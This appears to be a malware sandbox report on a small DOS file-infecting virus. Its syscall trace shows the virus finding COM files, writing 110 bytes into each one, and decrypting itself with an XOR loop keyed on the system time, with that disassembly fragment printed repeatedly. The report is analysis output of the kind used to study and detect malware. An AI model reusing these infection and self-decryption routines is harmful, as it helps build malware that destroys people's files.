Sample viewer

vx.netlux.org/Virus.DOS.Trivial.Elben.110.b

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:49:24.03807874Z 78 PC: 12a70 | Find first file
2018-12-17T22:49:24.04459432Z 44 PC: 12a93 | Get time 0x12a93: cmp dl, 0
0x12a96: je 0x12a8f
0x12a98: mov byte ptr [0x14e], dl
0x12a9c: ret
0x12a9d: mov cx, 0x27
0x12aa0: mov si, 0x127
0x12aa3: mov di, si
0x12aa5: lodsb al, byte ptr [si]
0x12aa6: xor al, byte ptr [0x14e]
0x12aaa: stosb byte ptr es:[di], al
0x12aab: loop 0x12aa5
0x12aad: ret
0x12aae: je 0x12ad7
0x12ab0: dec al
0x12ab2: je 0x12adf
0x12ab4: mov ax, word ptr [bx]
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:49:24.046646935Z 61 PC: 12a54 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:49:24.052792966Z 64 PC: 12a5f | Write file or device (Write 110 bytes on handle 5)
2018-12-17T22:49:24.059995814Z 62 PC: 12a63 | Close file
2018-12-17T22:49:24.297311458Z 79 PC: 12a7f | Find next file
2018-12-17T22:49:24.300115874Z 44 PC: 12a93 | Get time 0x12a93: cmp dl, 0
0x12a96: je 0x12a8f
0x12a98: mov byte ptr [0x14e], dl
0x12a9c: ret
0x12a9d: mov cx, 0x27
0x12aa0: mov si, 0x127
0x12aa3: mov di, si
0x12aa5: lodsb al, byte ptr [si]
0x12aa6: xor al, byte ptr [0x14e]
0x12aaa: stosb byte ptr es:[di], al
0x12aab: loop 0x12aa5
0x12aad: ret
0x12aae: je 0x12ad7
0x12ab0: dec al
0x12ab2: je 0x12adf
0x12ab4: mov ax, word ptr [bx]
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:49:24.303410183Z 61 PC: 12a54 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:49:24.309998618Z 64 PC: 12a5f | Write file or device (Write 110 bytes on handle 5)
2018-12-17T22:49:24.317845582Z 62 PC: 12a63 | Close file
2018-12-17T22:49:24.329975938Z 79 PC: 12a7f | Find next file
2018-12-17T22:49:24.332735288Z 44 PC: 12a93 | Get time 0x12a93: cmp dl, 0
0x12a96: je 0x12a8f
0x12a98: mov byte ptr [0x14e], dl
0x12a9c: ret
0x12a9d: mov cx, 0x27
0x12aa0: mov si, 0x127
0x12aa3: mov di, si
0x12aa5: lodsb al, byte ptr [si]
0x12aa6: xor al, byte ptr [0x14e]
0x12aaa: stosb byte ptr es:[di], al
0x12aab: loop 0x12aa5
0x12aad: ret
0x12aae: je 0x12ad7
0x12ab0: dec al
0x12ab2: je 0x12adf
0x12ab4: mov ax, word ptr [bx]
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:49:24.335009425Z 61 PC: 12a54 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:49:24.349716032Z 64 PC: 12a5f | Write file or device (Write 110 bytes on handle 5)
2018-12-17T22:49:24.356996154Z 62 PC: 12a63 | Close file
2018-12-17T22:49:24.364935214Z 79 PC: 12a7f | Find next file
2018-12-17T22:49:24.369518868Z 44 PC: 12a93 | Get time 0x12a93: cmp dl, 0
0x12a96: je 0x12a8f
0x12a98: mov byte ptr [0x14e], dl
0x12a9c: ret
0x12a9d: mov cx, 0x27
0x12aa0: mov si, 0x127
0x12aa3: mov di, si
0x12aa5: lodsb al, byte ptr [si]
0x12aa6: xor al, byte ptr [0x14e]
0x12aaa: stosb byte ptr es:[di], al
0x12aab: loop 0x12aa5
0x12aad: ret
0x12aae: je 0x12ad7
0x12ab0: dec al
0x12ab2: je 0x12adf
0x12ab4: mov ax, word ptr [bx]
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:49:24.372121865Z 61 PC: 12a54 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:49:24.380094128Z 64 PC: 12a5f | Write file or device (Write 110 bytes on handle 5)
2018-12-17T22:49:24.387867833Z 62 PC: 12a63 | Close file
2018-12-17T22:49:24.397131638Z 79 PC: 12a7f | Find next file
2018-12-17T22:49:24.400362385Z 44 PC: 12a93 | Get time 0x12a93: cmp dl, 0
0x12a96: je 0x12a8f
0x12a98: mov byte ptr [0x14e], dl
0x12a9c: ret
0x12a9d: mov cx, 0x27
0x12aa0: mov si, 0x127
0x12aa3: mov di, si
0x12aa5: lodsb al, byte ptr [si]
0x12aa6: xor al, byte ptr [0x14e]
0x12aaa: stosb byte ptr es:[di], al
0x12aab: loop 0x12aa5
0x12aad: ret
0x12aae: je 0x12ad7
0x12ab0: dec al
0x12ab2: je 0x12adf
0x12ab4: mov ax, word ptr [bx]
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:49:24.408169Z 61 PC: 12a54 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:49:24.415635875Z 64 PC: 12a5f | Write file or device (Write 110 bytes on handle 5)
2018-12-17T22:49:24.422440836Z 62 PC: 12a63 | Close file
2018-12-17T22:49:24.430601683Z 79 PC: 12a7f | Find next file
2018-12-17T22:49:24.434178362Z 44 PC: 12a93 | Get time 0x12a93: cmp dl, 0
0x12a96: je 0x12a8f
0x12a98: mov byte ptr [0x14e], dl
0x12a9c: ret
0x12a9d: mov cx, 0x27
0x12aa0: mov si, 0x127
0x12aa3: mov di, si
0x12aa5: lodsb al, byte ptr [si]
0x12aa6: xor al, byte ptr [0x14e]
0x12aaa: stosb byte ptr es:[di], al
0x12aab: loop 0x12aa5
0x12aad: ret
0x12aae: je 0x12ad7
0x12ab0: dec al
0x12ab2: je 0x12adf
0x12ab4: mov ax, word ptr [bx]
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:49:24.436534335Z 61 PC: 12a54 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:49:24.442974617Z 64 PC: 12a5f | Write file or device (Write 110 bytes on handle 5)
2018-12-17T22:49:24.451243046Z 62 PC: 12a63 | Close file
2018-12-17T22:49:24.459093468Z 79 PC: 12a7f | Find next file
2018-12-17T22:49:24.461927789Z 44 PC: 12a93 | Get time 0x12a93: cmp dl, 0
0x12a96: je 0x12a8f
0x12a98: mov byte ptr [0x14e], dl
0x12a9c: ret
0x12a9d: mov cx, 0x27
0x12aa0: mov si, 0x127
0x12aa3: mov di, si
0x12aa5: lodsb al, byte ptr [si]
0x12aa6: xor al, byte ptr [0x14e]
0x12aaa: stosb byte ptr es:[di], al
0x12aab: loop 0x12aa5
0x12aad: ret
0x12aae: je 0x12ad7
0x12ab0: dec al
0x12ab2: je 0x12adf
0x12ab4: mov ax, word ptr [bx]
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:49:24.465036485Z 61 PC: 12a54 | Open file (Filename = 'PAH.COM')
2018-12-17T22:49:24.472029414Z 64 PC: 12a5f | Write file or device (Write 110 bytes on handle 5)
2018-12-17T22:49:24.479318734Z 62 PC: 12a63 | Close file
2018-12-17T22:49:24.487765662Z 79 PC: 12a7f | Find next file
2018-12-17T22:49:24.490401577Z 44 PC: 12a93 | Get time 0x12a93: cmp dl, 0
0x12a96: je 0x12a8f
0x12a98: mov byte ptr [0x14e], dl
0x12a9c: ret
0x12a9d: mov cx, 0x27
0x12aa0: mov si, 0x127
0x12aa3: mov di, si
0x12aa5: lodsb al, byte ptr [si]
0x12aa6: xor al, byte ptr [0x14e]
0x12aaa: stosb byte ptr es:[di], al
0x12aab: loop 0x12aa5
0x12aad: ret
0x12aae: je 0x12ad7
0x12ab0: dec al
0x12ab2: je 0x12adf
0x12ab4: mov ax, word ptr [bx]
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:49:24.492525166Z 61 PC: 12a54 | Open file (Filename = 'TEST.COM')
2018-12-17T22:49:24.499935817Z 64 PC: 12a5f | Write file or device (Write 110 bytes on handle 5)
2018-12-17T22:49:24.502577988Z 62 PC: 12a63 | Close file
2018-12-17T22:49:24.510103679Z 79 PC: 12a7f | Find next file